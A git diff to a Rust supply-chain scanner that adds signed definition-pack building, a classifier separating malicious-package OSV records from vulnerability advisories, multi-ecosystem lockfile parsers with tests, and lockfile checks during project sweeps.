diff --git a/Cargo.lock b/Cargo.lock index fd2fccc..700eece 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1114,6 +1114,7 @@ dependencies = [ name = "hound-supply" version = "0.1.0" dependencies = [ + "hound-defs", "serde", "serde_json", ] @@ -1123,7 +1124,9 @@ name = "houndd" version = "0.1.0" dependencies = [ "anyhow", + "ed25519-dalek", "hound-api", + "hound-defs", "hound-supply", "inotify", "libc", diff --git a/crates/hound-defs/examples/build-pack.rs b/crates/hound-defs/examples/build-pack.rs new file mode 100644 index 0000000..70dfbc3 --- /dev/null +++ b/crates/hound-defs/examples/build-pack.rs @@ -0,0 +1,105 @@ +//! Build and sign a definitions pack from a directory of OSV records. +//! +//! build-pack [version] +//! +//! If the key file does not exist a new signing key is generated into it +//! at mode 0600 and its public half is printed. That public key is what +//! goes into the agent's trust store; the private half never leaves the +//! build machine and is never committed. +//! +//! Key material comes straight from /dev/urandom rather than through a +//! random-number crate: it is thirty-two bytes from the kernel CSPRNG, +//! and fewer moving parts between the entropy source and the key file is +//! the right trade for something this consequential. + +use ed25519_dalek::SigningKey; +use hound_defs::{osv, pack, Pack}; +use std::io::Read; + +fn load_or_create_key(path: &str) -> SigningKey { + if let Ok(bytes) = std::fs::read(path) { + if bytes.len() == 32 { + let mut seed = [0u8; 32]; + seed.copy_from_slice(&bytes); + return SigningKey::from_bytes(&seed); + } + eprintln!("{path} is not a 32-byte key; refusing to overwrite it"); + std::process::exit(2); + } + + let mut seed = [0u8; 32]; + std::fs::File::open("/dev/urandom") + .expect("opening /dev/urandom") + .read_exact(&mut seed) + .expect("reading key material"); + + std::fs::write(path, seed).expect("writing the key"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600)); + } + let key = SigningKey::from_bytes(&seed); + let hex: String = key + .verifying_key() + .to_bytes() + .iter() + .map(|b| format!("{b:02x}")) + .collect(); + eprintln!("generated a new signing key in {path} (mode 0600)"); + eprintln!("public key: {hex}"); + eprintln!(" put that in the agent's trust store, or export it for development:"); + eprintln!(" export HOUNDD_DEFS_KEY={hex}"); + key +} + +fn main() { + let args: Vec = std::env::args().skip(1).collect(); + if args.len() < 3 { + eprintln!("usage: build-pack [version]"); + std::process::exit(2); + } + let (dir, out, key_path) = (&args[0], &args[1], &args[2]); + let version = args + .get(3) + .cloned() + .unwrap_or_else(|| "0.0.0-dev".to_string()); + + let key = load_or_create_key(key_path); + + let mut indicators = Vec::new(); + let mut files = 0usize; + for entry in std::fs::read_dir(dir).expect("readable OSV directory").flatten() { + let path = entry.path(); + if path.extension().is_none_or(|e| e != "json") { + continue; + } + files += 1; + if let Ok(text) = std::fs::read_to_string(&path) { + indicators.extend(osv::parse_record(&text)); + } + } + + // Sorted so the same input always produces the same bytes. A pack's + // hash is its identity; directory order is not stable across machines + // and would make two identical builds disagree. + indicators.sort_by(|a, b| (&a.ecosystem, &a.name, &a.id).cmp(&(&b.ecosystem, &b.name, &b.id))); + indicators.dedup(); + + let p = Pack { + version: version.clone(), + // Passed in rather than read from the clock, for the same reason. + created: args.get(4).cloned().unwrap_or_else(|| "1970-01-01T00:00:00Z".into()), + sources: vec!["ossf/malicious-packages (Apache-2.0)".into(), "osv.dev".into()], + indicators, + }; + + let signed = pack::sign(&p, &key, "dev").expect("signing the pack"); + std::fs::write(out, serde_json::to_string(&signed).expect("encoding")).expect("writing"); + + println!("read {files} OSV records"); + println!("packed {} indicators", p.indicators.len()); + println!("version {version}"); + println!("sha256 {}", p.sha256().expect("hashing")); + println!("wrote {out}"); +} diff --git a/crates/hound-defs/src/osv.rs b/crates/hound-defs/src/osv.rs index b32d0e7..3dc646a 100644 --- a/crates/hound-defs/src/osv.rs +++ b/crates/hound-defs/src/osv.rs @@ -11,13 +11,24 @@ //! and everything else is provenance. We keep the identifier and the //! summary so a finding can cite its source, and drop the rest. //! -//! One detail matters more than it looks. A malicious-package record -//! almost always carries a range of `introduced: "0"` with no fix, which -//! means **every version is malicious**: the package exists only to be -//! malware, so there is no safe version to upgrade to. That is different -//! from a vulnerability, where the whole point is the version boundary, -//! and conflating the two would either miss real hits or condemn safe -//! versions of legitimate packages. +//! **This index holds malicious packages only, never vulnerabilities.** +//! The two live side by side in OSV — the crates.io export is 1,524 GHSA +//! and 1,206 RUSTSEC advisories against 19 malicious-package records — +//! and they mean opposite things. A malicious package should not exist at +//! all; a vulnerable one is a legitimate library with a bug, and most of +//! its versions are fine. +//! +//! Ingesting both cost a false positive on `tokio` during development: +//! the advisory `GHSA-2grh-hm3w-w7hv` describes a race condition fixed in +//! 1.8.1, and Hound reported tokio 1.38.0 — a version released years +//! later — as malware. Anything that flags tokio is a product nobody +//! trusts again. So a record has to *prove* it is a malicious-package +//! report before it becomes an indicator, and anything unrecognised is +//! dropped rather than guessed at. +//! +//! Within that set, a record almost always carries `introduced: "0"` with +//! no fix, meaning every version is malicious: the package exists only to +//! be malware, so there is no safe version to upgrade to. use serde::{Deserialize, Serialize}; @@ -105,12 +116,49 @@ pub fn parse_record(json: &str) -> Vec { parse_value(&v) } +/// Whether a record reports a malicious package rather than a vulnerability. +/// +/// Three independent signals, any of which is sufficient, because the feed +/// is assembled from several sources that do not agree on conventions: +/// +/// * a `MAL-` identifier, which is what the malicious-packages feed mints; +/// * `database_specific.malicious-packages-origins`, which that feed +/// attaches when it imports from GHSA or elsewhere; +/// * a summary of the form "Malicious code in …", GHSA's own wording for +/// its malware advisories. +/// +/// Anything else is a vulnerability and is not our business here. +pub fn is_malicious_record(v: &serde_json::Value) -> bool { + let id = v.get("id").and_then(|x| x.as_str()).unwrap_or_default(); + if id.starts_with("MAL-") { + return true; + } + if v.get("database_specific") + .and_then(|d| d.get("malicious-packages-origins")) + .is_some() + { + return true; + } + let summary = v + .get("summary") + .and_then(|x| x.as_str()) + .unwrap_or_default() + .to_ascii_lowercase(); + summary.starts_with("malicious code in") || summary.starts_with("malicious package") +} + /// Parse an already-decoded OSV record. +/// +/// Returns nothing for a vulnerability advisory. That is not an oversight +/// — see the module note. pub fn parse_value(v: &serde_json::Value) -> Vec { let id = v.get("id").and_then(|x| x.as_str()).unwrap_or_default(); if id.is_empty() { return Vec::new(); } + if !is_malicious_record(v) { + return Vec::new(); + } let summary = v .get("summary") .and_then(|x| x.as_str()) @@ -173,8 +221,9 @@ fn versions_of(affected: &serde_json::Value) -> Versions { } } - // No usable version information. Treating that as "all versions" is - // the safe reading for a feed whose entire contents are malware. + // No usable version information. For a record we have already + // confirmed is a malicious-package report, "all versions" is the + // correct reading: the package exists to be malware. Versions::All } @@ -246,16 +295,69 @@ mod tests { ); } + // ── the false positive this classifier exists to prevent ── + + /// The real advisory, trimmed. Ingesting the whole crates.io export + /// put this in the index and Hound reported tokio 1.38.0 as malware. + const REAL_TOKIO_ADVISORY: &str = r#"{ + "id": "GHSA-2grh-hm3w-w7hv", + "summary": "Race condition in tokio", + "affected": [{ + "package": {"name": "tokio", "ecosystem": "crates.io"}, + "ranges": [{"type": "SEMVER", "events": [{"introduced": "1.8.0"}, {"fixed": "1.8.1"}]}] + }] + }"#; + #[test] - fn a_range_with_a_fix_is_not_treated_as_all_versions() { - let json = r#"{"id":"GHSA-x","summary":"s","affected":[{ - "package":{"name":"lib","ecosystem":"npm"}, - "ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}] - }]}"#; - let ind = parse_record(json); - // Falls through to the conservative default rather than claiming - // a precise range we have not implemented. - assert_eq!(ind[0].versions, Versions::All); + fn a_vulnerability_advisory_is_not_a_malicious_package() { + assert!( + parse_record(REAL_TOKIO_ADVISORY).is_empty(), + "tokio has advisories like every large library; flagging it as malware \ + would end the product" + ); + assert!(!is_malicious_record( + &serde_json::from_str(REAL_TOKIO_ADVISORY).unwrap() + )); + } + + #[test] + fn rustsec_advisories_are_not_malicious_packages_either() { + let json = r#"{"id":"RUSTSEC-2021-0079","summary":"Integer overflow in hyper", + "affected":[{"package":{"name":"hyper","ecosystem":"crates.io"}, + "ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.14.10"}]}]}]}"#; + assert!(parse_record(json).is_empty()); + } + + #[test] + fn a_mal_identifier_is_enough_to_classify() { + assert!(is_malicious_record(&serde_json::from_str(REAL_MAL).unwrap())); + } + + #[test] + fn a_ghsa_malware_advisory_is_recognised_by_its_wording() { + // GHSA mints its own ids for malware, so the MAL- prefix is not + // always there. The malicious-packages feed imports these. + let json = r#"{"id":"GHSA-mhg2-cg9m-q926","summary":"Malicious code in test-poc2 (npm)", + "affected":[{"package":{"name":"test-poc2","ecosystem":"npm"}}]}"#; + assert_eq!(parse_record(json).len(), 1); + } + + #[test] + fn the_origins_marker_is_recognised() { + let json = r#"{"id":"GHSA-xyz","summary":"Something", + "database_specific":{"malicious-packages-origins":[{"source":"ghsa-malware"}]}, + "affected":[{"package":{"name":"evil","ecosystem":"npm"}}]}"#; + assert_eq!(parse_record(json).len(), 1); + } + + #[test] + fn an_unclassifiable_record_is_dropped_rather_than_guessed_at() { + let json = r#"{"id":"SOMETHING-1","summary":"who knows", + "affected":[{"package":{"name":"lib","ecosystem":"npm"}}]}"#; + assert!( + parse_record(json).is_empty(), + "an indicator we cannot justify must not be created" + ); } #[test] diff --git a/crates/hound-supply/Cargo.toml b/crates/hound-supply/Cargo.toml index 0393731..d2288df 100644 --- a/crates/hound-supply/Cargo.toml +++ b/crates/hound-supply/Cargo.toml @@ -7,5 +7,6 @@ license.workspace = true repository.workspace = true [dependencies] +hound-defs.workspace = true serde.workspace = true serde_json.workspace = true diff --git a/crates/hound-supply/src/installscript.rs b/crates/hound-supply/src/installscript.rs index 0b435fe..5d34098 100644 --- a/crates/hound-supply/src/installscript.rs +++ b/crates/hound-supply/src/installscript.rs @@ -44,10 +44,6 @@ struct Pattern { matches: fn(&str) -> bool, } -fn has_all(hay: &str, needles: &[&str]) -> bool { - needles.iter().all(|n| hay.contains(n)) -} - fn has_any(hay: &str, needles: &[&str]) -> bool { needles.iter().any(|n| hay.contains(n)) } diff --git a/crates/hound-supply/src/lib.rs b/crates/hound-supply/src/lib.rs index b93834f..b913df2 100644 --- a/crates/hound-supply/src/lib.rs +++ b/crates/hound-supply/src/lib.rs @@ -19,6 +19,7 @@ pub mod injection; pub mod installscript; +pub mod lockfile; pub mod mcp; pub mod pickle; pub mod sweep; diff --git a/crates/hound-supply/src/lockfile.rs b/crates/hound-supply/src/lockfile.rs new file mode 100644 index 0000000..61df30f --- /dev/null +++ b/crates/hound-supply/src/lockfile.rs @@ -0,0 +1,611 @@ +//! Lockfile parsing. +//! +//! The scanner walks manifests rather than trees, and a lockfile is the +//! best manifest there is: it names every transitive dependency at an +//! exact version, in one small file, without walking a `node_modules` +//! with forty thousand entries in it. +//! +//! It also catches what a directory walk cannot. A lockfile lists what +//! *will* be installed the next time somebody runs `npm ci`, so a +//! malicious dependency is visible before it has ever executed — which +//! matters enormously when the payload runs at install time. +//! +//! Every parser here is hand-written against the file formats rather than +//! pulling in a TOML and a YAML crate. These are all simple line or JSON +//! formats, we need two fields from each, and a scanner that must parse +//! hostile input should have as little parsing surface as possible. + +use serde::{Deserialize, Serialize}; +use std::path::Path; + +/// One dependency, pinned. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct PackageRef { + /// Normalised ecosystem, matching `hound_defs::osv::normalise_ecosystem`. + pub ecosystem: String, + pub name: String, + /// Empty when the file does not pin one. + pub version: String, +} + +impl PackageRef { + fn new(ecosystem: &str, name: &str, version: &str) -> Self { + Self { + ecosystem: ecosystem.to_string(), + name: name.to_string(), + version: version.to_string(), + } + } +} + +/// Lockfile names we know how to read. +pub const LOCKFILES: &[&str] = &[ + "package-lock.json", + "npm-shrinkwrap.json", + "yarn.lock", + "cargo.lock", + "requirements.txt", + "poetry.lock", + "go.sum", + "gemfile.lock", + "composer.lock", +]; + +/// True when a filename is a lockfile we can parse. +pub fn is_lockfile(name: &str) -> bool { + LOCKFILES.contains(&name.to_ascii_lowercase().as_str()) +} + +/// Parse whichever format the filename implies. +pub fn parse(path: &Path, text: &str) -> Vec { + let name = path + .file_name() + .map(|n| n.to_string_lossy().to_ascii_lowercase()) + .unwrap_or_default(); + match name.as_str() { + "package-lock.json" | "npm-shrinkwrap.json" => npm_lock(text), + "yarn.lock" => yarn_lock(text), + "cargo.lock" => cargo_lock(text), + "requirements.txt" => requirements_txt(text), + "poetry.lock" => poetry_lock(text), + "go.sum" => go_sum(text), + "gemfile.lock" => gemfile_lock(text), + "composer.lock" => composer_lock(text), + _ => Vec::new(), + } +} + +// ── npm ───────────────────────────────────────────────────────────────── + +/// `package-lock.json`, all three lockfile versions. +/// +/// v2 and v3 use a flat `packages` map keyed by install path, where the +/// key is `node_modules/` or nested. v1 uses a recursive +/// `dependencies` tree. Both shapes appear in the wild — v1 in older +/// projects, v3 in anything recent — so both are handled rather than +/// assuming the current one. +pub fn npm_lock(text: &str) -> Vec { + let Ok(v) = serde_json::from_str::(text) else { + return Vec::new(); + }; + let mut out = Vec::new(); + + if let Some(packages) = v.get("packages").and_then(|p| p.as_object()) { + for (path, entry) in packages { + // The root project is keyed by "" and is not a dependency. + if path.is_empty() { + continue; + } + // An entry may carry an explicit name; otherwise the last + // node_modules segment is it, which keeps scoped names intact. + let name = entry + .get("name") + .and_then(|n| n.as_str()) + .map(str::to_string) + .or_else(|| npm_name_from_path(path)) + .unwrap_or_default(); + if name.is_empty() { + continue; + } + let version = entry + .get("version") + .and_then(|x| x.as_str()) + .unwrap_or_default(); + out.push(PackageRef::new("npm", &name, version)); + } + } + + if let Some(deps) = v.get("dependencies").and_then(|d| d.as_object()) { + npm_v1_tree(deps, &mut out); + } + + dedupe(out) +} + +/// `node_modules/foo` → `foo`; `node_modules/a/node_modules/@s/b` → `@s/b`. +fn npm_name_from_path(path: &str) -> Option { + let tail = path.rsplit("node_modules/").next()?; + (!tail.is_empty()).then(|| tail.to_string()) +} + +fn npm_v1_tree(deps: &serde_json::Map, out: &mut Vec) { + for (name, entry) in deps { + let version = entry + .get("version") + .and_then(|x| x.as_str()) + .unwrap_or_default(); + out.push(PackageRef::new("npm", name, version)); + if let Some(nested) = entry.get("dependencies").and_then(|d| d.as_object()) { + npm_v1_tree(nested, out); + } + } +} + +/// `yarn.lock` v1: a descriptor line, then an indented `version "x"`. +pub fn yarn_lock(text: &str) -> Vec { + let mut out = Vec::new(); + let mut pending: Option = None; + + for line in text.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + if !line.starts_with(' ') && trimmed.ends_with(':') { + // `"@scope/pkg@^1.0.0", "@scope/pkg@^1.1.0":` + let first = trimmed.trim_end_matches(':').split(',').next().unwrap_or(""); + pending = yarn_name(first.trim().trim_matches('"')); + continue; + } + if let Some(rest) = trimmed.strip_prefix("version ") { + if let Some(name) = pending.take() { + out.push(PackageRef::new("npm", &name, rest.trim().trim_matches('"'))); + } + } + } + dedupe(out) +} + +/// Split a yarn descriptor into its package name. +/// +/// The range separator is the LAST `@`, not the first, because scoped +/// names begin with one: `@vue/cli@^5.0.0` is `@vue/cli`, not `` . +fn yarn_name(descriptor: &str) -> Option { + if descriptor.is_empty() { + return None; + } + // Skip a leading scope marker before searching, so the scope's own @ + // is never mistaken for the range separator. + let search_from = usize::from(descriptor.starts_with('@')); + let at = descriptor[search_from..].rfind('@')? + search_from; + let name = &descriptor[..at]; + (!name.is_empty()).then(|| name.to_string()) +} + +// ── cargo and poetry: the same TOML shape ─────────────────────────────── + +/// `Cargo.lock`: repeated `[[package]]` blocks with `name` and `version`. +pub fn cargo_lock(text: &str) -> Vec { + dedupe(toml_package_blocks(text, "cratesio")) +} + +/// `poetry.lock`: identical block structure to Cargo.lock. +pub fn poetry_lock(text: &str) -> Vec { + dedupe(toml_package_blocks(text, "pypi")) +} + +fn toml_package_blocks(text: &str, ecosystem: &str) -> Vec { + let mut out = Vec::new(); + let mut name: Option = None; + let mut version = String::new(); + let mut in_block = false; + + let flush = |name: &mut Option, version: &mut String, out: &mut Vec| { + if let Some(n) = name.take() { + out.push(PackageRef::new(ecosystem, &n, version)); + } + version.clear(); + }; + + for line in text.lines() { + let t = line.trim(); + if t == "[[package]]" { + flush(&mut name, &mut version, &mut out); + in_block = true; + continue; + } + // Any other section header ends the block — poetry puts + // [package.dependencies] and [metadata] tables after each entry. + if t.starts_with('[') && t != "[[package]]" { + if !t.starts_with("[package.") { + flush(&mut name, &mut version, &mut out); + in_block = false; + } + continue; + } + if !in_block { + continue; + } + if let Some(v) = toml_string_value(t, "name") { + // A second `name` before a flush means the previous block had + // no version; keep it rather than losing the package. + if name.is_some() { + flush(&mut name, &mut version, &mut out); + } + name = Some(v); + } else if let Some(v) = toml_string_value(t, "version") { + version = v; + } + } + flush(&mut name, &mut version, &mut out); + out +} + +fn toml_string_value(line: &str, key: &str) -> Option { + let rest = line.strip_prefix(key)?; + let rest = rest.trim_start(); + let rest = rest.strip_prefix('=')?.trim(); + let value = rest.trim_matches('"'); + (!value.is_empty() && rest.starts_with('"')).then(|| value.to_string()) +} + +// ── python, go, ruby, php ─────────────────────────────────────────────── + +/// `requirements.txt`. Only `==` pins are taken as versions; a range is +/// recorded with an empty version rather than a guess. +pub fn requirements_txt(text: &str) -> Vec { + let mut out = Vec::new(); + for line in text.lines() { + let mut t = line.trim(); + if t.is_empty() || t.starts_with('#') || t.starts_with('-') { + continue; + } + // Strip inline comments and environment markers. + if let Some(hash) = t.find(" #") { + t = t[..hash].trim(); + } + if let Some(semi) = t.find(';') { + t = t[..semi].trim(); + } + // A URL or local path requirement names no registry package. + if t.contains("://") || t.starts_with('.') || t.starts_with('/') { + continue; + } + let (name, version) = match t.find("==") { + Some(i) => (&t[..i], t[i + 2..].trim()), + None => { + let end = t + .find(['>', '<', '~', '!', '=', '[', ' ']) + .unwrap_or(t.len()); + (&t[..end], "") + } + }; + let name = name.trim(); + if !name.is_empty() { + out.push(PackageRef::new("pypi", name, version)); + } + } + dedupe(out) +} + +/// `go.sum`: `module version hash`, with `/go.mod` lines duplicating each. +pub fn go_sum(text: &str) -> Vec { + let mut out = Vec::new(); + for line in text.lines() { + let mut parts = line.split_whitespace(); + let (Some(module), Some(version)) = (parts.next(), parts.next()) else { + continue; + }; + // Every module appears twice, once with a /go.mod suffix. + let version = version.trim_end_matches("/go.mod"); + out.push(PackageRef::new("go", module, version)); + } + dedupe(out) +} + +/// `Gemfile.lock`: indented `name (version)` under the specs section. +pub fn gemfile_lock(text: &str) -> Vec { + let mut out = Vec::new(); + let mut in_specs = false; + for line in text.lines() { + let t = line.trim(); + if t == "specs:" { + in_specs = true; + continue; + } + // A non-indented line ends the section. + if !line.starts_with(' ') && !t.is_empty() { + in_specs = false; + continue; + } + if !in_specs || t.is_empty() { + continue; + } + // Direct specs are indented four spaces; their dependencies six. + let indent = line.len() - line.trim_start().len(); + if indent != 4 { + continue; + } + let (name, version) = match t.find(" (") { + Some(i) => (&t[..i], t[i + 2..].trim_end_matches(')')), + None => (t, ""), + }; + if !name.is_empty() { + out.push(PackageRef::new("rubygems", name, version)); + } + } + dedupe(out) +} + +/// `composer.lock`: JSON with `packages` and `packages-dev` arrays. +pub fn composer_lock(text: &str) -> Vec { + let Ok(v) = serde_json::from_str::(text) else { + return Vec::new(); + }; + let mut out = Vec::new(); + for key in ["packages", "packages-dev"] { + let Some(arr) = v.get(key).and_then(|p| p.as_array()) else { + continue; + }; + for entry in arr { + let Some(name) = entry.get("name").and_then(|n| n.as_str()) else { + continue; + }; + let version = entry + .get("version") + .and_then(|x| x.as_str()) + .unwrap_or_default(); + out.push(PackageRef::new("packagist", name, version)); + } + } + dedupe(out) +} + +fn dedupe(mut refs: Vec) -> Vec { + refs.sort_by(|a, b| (&a.ecosystem, &a.name, &a.version).cmp(&(&b.ecosystem, &b.name, &b.version))); + refs.dedup(); + refs +} + +#[cfg(test)] +mod tests { + use super::*; + + fn names(refs: &[PackageRef]) -> Vec<&str> { + refs.iter().map(|r| r.name.as_str()).collect() + } + + fn find<'a>(refs: &'a [PackageRef], name: &str) -> &'a PackageRef { + refs.iter().find(|r| r.name == name).unwrap_or_else(|| panic!("{name} not found in {:?}", names(refs))) + } + + // ── npm ── + + #[test] + fn parses_npm_lockfile_v3() { + let text = r#"{ + "name": "app", "lockfileVersion": 3, + "packages": { + "": {"name": "app", "version": "1.0.0"}, + "node_modules/react": {"version": "18.2.0"}, + "node_modules/@vue/cli-plugin-babe1": {"version": "1.0.2"} + } + }"#; + let refs = npm_lock(text); + assert_eq!(find(&refs, "react").version, "18.2.0"); + assert_eq!( + find(&refs, "@vue/cli-plugin-babe1").version, + "1.0.2", + "a scoped name must survive intact" + ); + assert!(!names(&refs).contains(&"app"), "the root project is not a dependency"); + } + + #[test] + fn parses_npm_lockfile_v1() { + // Old projects are still out there and still get scanned. + let text = r#"{ + "lockfileVersion": 1, + "dependencies": { + "express": {"version": "4.19.2", + "dependencies": {"body-parser": {"version": "1.20.2"}}} + } + }"#; + let refs = npm_lock(text); + assert_eq!(find(&refs, "express").version, "4.19.2"); + assert_eq!( + find(&refs, "body-parser").version, + "1.20.2", + "transitive dependencies are the point of reading a lockfile" + ); + } + + #[test] + fn nested_npm_paths_yield_the_package_not_the_path() { + let text = r#"{"packages":{"node_modules/a/node_modules/@s/b":{"version":"2.0.0"}}}"#; + let refs = npm_lock(text); + assert_eq!(names(&refs), vec!["@s/b"]); + } + + #[test] + fn parses_yarn_lock_v1() { + let text = r#" +# yarn lockfile v1 + +"@vue/cli-plugin-babel@^5.0.0": + version "5.0.8" + resolved "https://registry.yarnpkg.com/..." + +lodash@^4.17.21: + version "4.17.21" +"#; + let refs = yarn_lock(text); + assert_eq!( + find(&refs, "@vue/cli-plugin-babel").version, + "5.0.8", + "the range separator is the LAST @, not the first" + ); + assert_eq!(find(&refs, "lodash").version, "4.17.21"); + } + + #[test] + fn a_scoped_yarn_descriptor_keeps_its_scope() { + assert_eq!(yarn_name("@vue/cli@^5.0.0").as_deref(), Some("@vue/cli")); + assert_eq!(yarn_name("lodash@^4.0.0").as_deref(), Some("lodash")); + assert_eq!(yarn_name("@scope/pkg@npm:1.2.3").as_deref(), Some("@scope/pkg")); + assert_eq!(yarn_name("").as_deref(), None); + assert_eq!(yarn_name("no-range-here").as_deref(), None); + } + + // ── cargo and poetry ── + + #[test] + fn parses_cargo_lock() { + let text = r#" +version = 3 + +[[package]] +name = "serde" +version = "1.0.203" + +[[package]] +name = "rustdecimal" +version = "1.23.1" +"#; + let refs = cargo_lock(text); + assert_eq!(find(&refs, "serde").version, "1.0.203"); + assert_eq!(find(&refs, "rustdecimal").version, "1.23.1"); + assert_eq!(refs[0].ecosystem, "cratesio"); + } + + #[test] + fn parses_poetry_lock_with_its_extra_tables() { + // poetry puts [package.dependencies] between entries, which a + // naive block parser would treat as the end of the package. + let text = r#" +[[package]] +name = "requests" +version = "2.31.0" + +[package.dependencies] +urllib3 = ">=1.21.1" + +[[package]] +name = "langchain-helpers" +version = "0.0.3" + +[metadata] +lock-version = "2.0" +"#; + let refs = poetry_lock(text); + assert_eq!(find(&refs, "requests").version, "2.31.0"); + assert_eq!(find(&refs, "langchain-helpers").version, "0.0.3"); + assert_eq!(refs.len(), 2, "the metadata table is not a package"); + } + + // ── python requirements ── + + #[test] + fn parses_pinned_requirements() { + let text = "requests==2.31.0\nnumpy==1.26.4\n"; + let refs = requirements_txt(text); + assert_eq!(find(&refs, "requests").version, "2.31.0"); + assert_eq!(find(&refs, "numpy").version, "1.26.4"); + } + + #[test] + fn an_unpinned_requirement_records_no_version_rather_than_guessing() { + let refs = requirements_txt("flask>=2.0\ndjango\n"); + assert_eq!(find(&refs, "flask").version, ""); + assert_eq!(find(&refs, "django").version, ""); + } + + #[test] + fn requirements_comments_flags_markers_and_urls_are_skipped() { + let text = "# a comment\n-r other.txt\n--index-url https://x\n\ + requests==2.31.0 # inline\n\ + pkg==1.0 ; python_version < '3.9'\n\ + git+https://github.com/a/b.git\n\ + ./local-package\n"; + let refs = requirements_txt(text); + assert_eq!(names(&refs), vec!["pkg", "requests"]); + assert_eq!(find(&refs, "requests").version, "2.31.0"); + } + + #[test] + fn extras_are_stripped_from_the_name() { + let refs = requirements_txt("celery[redis]>=5.0\n"); + assert_eq!(names(&refs), vec!["celery"]); + } + + // ── go, ruby, php ── + + #[test] + fn parses_go_sum_without_duplicating_modules() { + let text = "github.com/pkg/errors v0.9.1 h1:abc=\n\ + github.com/pkg/errors v0.9.1/go.mod h1:def=\n"; + let refs = go_sum(text); + assert_eq!(refs.len(), 1, "the /go.mod line is the same module"); + assert_eq!(refs[0].name, "github.com/pkg/errors"); + assert_eq!(refs[0].version, "v0.9.1"); + } + + #[test] + fn parses_gemfile_lock_specs_only() { + let text = "GEM\n remote: https://rubygems.org/\n specs:\n rails (7.1.3)\n actionpack (= 7.1.3)\n rake (13.1.0)\n\nPLATFORMS\n ruby\n"; + let refs = gemfile_lock(text); + assert_eq!(find(&refs, "rails").version, "7.1.3"); + assert_eq!(find(&refs, "rake").version, "13.1.0"); + assert!( + !names(&refs).contains(&"actionpack"), + "a nested dependency constraint is not a pinned spec" + ); + } + + #[test] + fn parses_composer_lock_including_dev() { + let text = r#"{"packages":[{"name":"monolog/monolog","version":"3.5.0"}], + "packages-dev":[{"name":"phpunit/phpunit","version":"10.5.0"}]}"#; + let refs = composer_lock(text); + assert_eq!(find(&refs, "monolog/monolog").version, "3.5.0"); + assert_eq!(find(&refs, "phpunit/phpunit").version, "10.5.0"); + } + + // ── dispatch and robustness ── + + #[test] + fn dispatches_on_filename() { + assert!(is_lockfile("package-lock.json")); + assert!(is_lockfile("Cargo.lock"), "case must not matter"); + assert!(is_lockfile("Gemfile.lock")); + assert!(!is_lockfile("package.json")); + assert!(!is_lockfile("README.md")); + } + + #[test] + fn parse_routes_by_path() { + let refs = parse(Path::new("/x/Cargo.lock"), "[[package]]\nname = \"serde\"\nversion = \"1.0\"\n"); + assert_eq!(refs[0].ecosystem, "cratesio"); + } + + #[test] + fn an_unknown_filename_yields_nothing() { + assert!(parse(Path::new("/x/whatever.txt"), "content").is_empty()); + } + + #[test] + fn malformed_input_never_panics() { + for text in ["{", "", "[[package]]", "\0\0\0", "name = \"", "specs:\n "] { + for f in LOCKFILES { + let _ = parse(Path::new(f), text); + } + } + } + + #[test] + fn duplicates_are_collapsed() { + let text = r#"{"packages":{"node_modules/a":{"version":"1.0.0"}}, + "dependencies":{"a":{"version":"1.0.0"}}}"#; + assert_eq!(npm_lock(text).len(), 1, "the same pin twice is one package"); + } +} diff --git a/crates/hound-supply/src/sweep.rs b/crates/hound-supply/src/sweep.rs index d3a6bba..962b636 100644 --- a/crates/hound-supply/src/sweep.rs +++ b/crates/hound-supply/src/sweep.rs @@ -12,7 +12,8 @@ //! because a sweep that walks into a 40GB dataset directory is a sweep //! somebody kills halfway through and never runs again. -use crate::{injection, installscript, mcp, pickle, Finding, Report}; +use crate::{injection, installscript, lockfile, mcp, pickle, Finding, Report, Severity}; +use hound_defs::Index; use std::path::{Path, PathBuf}; /// Directory names never worth descending into. @@ -36,6 +37,11 @@ const MAX_MANIFEST_BYTES: u64 = 4 * 1024 * 1024; /// so we only ever read this much of one. const PICKLE_PREFIX_BYTES: usize = 512 * 1024; +/// A lockfile for a large monorepo is genuinely big — package-lock.json +/// runs to tens of megabytes — so this cap is far looser than the one for +/// manifests. +const MAX_LOCKFILE_BYTES: u64 = 64 * 1024 * 1024; + /// Filenames that hold MCP server definitions. const MCP_FILES: &[&str] = &[ "mcp.json", @@ -52,7 +58,12 @@ fn file_name_lower(p: &Path) -> String { } /// Sweep one project root. -pub fn sweep(root: &Path) -> Report { +/// +/// Without an index this is the offline build: install scripts, prompt +/// injection, pickles and MCP configs still work, because none of them +/// need a feed. With one, lockfiles are checked against known-malicious +/// packages too, which is where most of the value is. +pub fn sweep_with(root: &Path, index: Option<&Index>) -> Report { let mut report = Report { roots: vec![root.to_string_lossy().into_owned()], ..Default::default() @@ -94,6 +105,7 @@ pub fn sweep(root: &Path) -> Report { } report.examined += 1; report.findings.extend(scan_file(&path, md.len())); + report.findings.extend(scan_lockfile(&path, md.len(), index)); } if truncated { break; @@ -119,6 +131,59 @@ pub fn sweep(root: &Path) -> Report { report.sorted() } +/// Sweep with no definitions loaded. +pub fn sweep(root: &Path) -> Report { + sweep_with(root, None) +} + +/// Check a lockfile's dependencies against the indicator index. +/// +/// A lockfile is the cheapest place to catch a malicious dependency and +/// the earliest: it lists what *will* be installed, so the payload is +/// visible before it has run. That matters because most of these payloads +/// run at install time. +pub fn scan_lockfile(path: &Path, size: u64, index: Option<&Index>) -> Vec { + let Some(index) = index else { return Vec::new() }; + let name = file_name_lower(path); + if !lockfile::is_lockfile(&name) || size > MAX_LOCKFILE_BYTES { + return Vec::new(); + } + let Ok(text) = std::fs::read_to_string(path) else { + return Vec::new(); + }; + let location = path.to_string_lossy().into_owned(); + + lockfile::parse(path, &text) + .into_iter() + .filter_map(|pkg| { + // An unpinned entry is checked against every version, since we + // cannot tell which one will be resolved. + let hit = if pkg.version.is_empty() { + index.any_version(&pkg.ecosystem, &pkg.name) + } else { + index.lookup(&pkg.ecosystem, &pkg.name, &pkg.version) + }?; + + let spec = if pkg.version.is_empty() { + pkg.name.clone() + } else { + format!("{}@{}", pkg.name, pkg.version) + }; + Some(Finding::new( + "malicious-package", + Severity::Critical, + spec.clone(), + location.clone(), + format!( + "{spec} is listed in this project's lockfile and is a package that has been reported as malicious. It will be installed the next time anyone sets this project up, and packages like this usually run their payload during installation rather than when you use them." + ), + 